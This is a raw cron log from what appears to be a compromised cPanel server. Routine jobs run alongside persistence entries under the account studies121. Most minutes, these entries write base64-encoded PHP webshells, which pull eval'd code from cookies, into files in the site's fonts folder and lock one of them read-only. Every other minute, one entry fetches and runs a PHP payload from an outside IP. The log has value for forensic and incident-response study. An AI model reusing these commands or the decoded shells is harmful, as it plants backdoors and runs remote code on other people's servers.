Sep  6 08:49:01 ip-184-168-122-23 CROND[12031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:49:01 ip-184-168-122-23 CROND[12032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:49:01 ip-184-168-122-23 CROND[12037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:49:01 ip-184-168-122-23 CROND[12038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12128]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:50:01 ip-184-168-122-23 CROND[12134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:50:01 ip-184-168-122-23 CROND[12137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:51:01 ip-184-168-122-23 CROND[12225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:51:01 ip-184-168-122-23 CROND[12227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:51:01 ip-184-168-122-23 CROND[12226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:51:01 ip-184-168-122-23 CROND[12228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:52:01 ip-184-168-122-23 CROND[12309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:52:01 ip-184-168-122-23 CROND[12311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:52:01 ip-184-168-122-23 CROND[12314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:52:01 ip-184-168-122-23 CROND[12316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:52:01 ip-184-168-122-23 CROND[12313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:53:01 ip-184-168-122-23 CROND[12443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:53:01 ip-184-168-122-23 CROND[12444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:53:01 ip-184-168-122-23 CROND[12447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:53:01 ip-184-168-122-23 CROND[12445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:54:01 ip-184-168-122-23 CROND[12609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:54:01 ip-184-168-122-23 CROND[12611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:54:01 ip-184-168-122-23 CROND[12613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:54:01 ip-184-168-122-23 CROND[12614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:54:01 ip-184-168-122-23 CROND[12612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:55:01 ip-184-168-122-23 CROND[12740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:55:01 ip-184-168-122-23 CROND[12737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:55:01 ip-184-168-122-23 CROND[12738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:55:01 ip-184-168-122-23 CROND[12739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:55:01 ip-184-168-122-23 CROND[12743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:55:01 ip-184-168-122-23 CROND[12744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:56:01 ip-184-168-122-23 CROND[12882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:56:01 ip-184-168-122-23 CROND[12884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:56:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:56:01 ip-184-168-122-23 CROND[12886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:56:01 ip-184-168-122-23 CROND[12887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:57:01 ip-184-168-122-23 CROND[12991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:57:01 ip-184-168-122-23 CROND[12992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:57:01 ip-184-168-122-23 CROND[12990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:57:01 ip-184-168-122-23 CROND[12993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:58:01 ip-184-168-122-23 CROND[13085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:58:01 ip-184-168-122-23 CROND[13087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:58:01 ip-184-168-122-23 CROND[13089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:58:01 ip-184-168-122-23 CROND[13088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:58:01 ip-184-168-122-23 CROND[13090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:59:01 ip-184-168-122-23 CROND[13188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:59:01 ip-184-168-122-23 CROND[13189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:59:01 ip-184-168-122-23 CROND[13191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:59:01 ip-184-168-122-23 CROND[13192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13305]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:00:01 ip-184-168-122-23 CROND[13313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:00:01 ip-184-168-122-23 CROND[13315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:00:01 ip-184-168-122-23 CROND[13311]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  6 09:01:01 ip-184-168-122-23 CROND[13506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
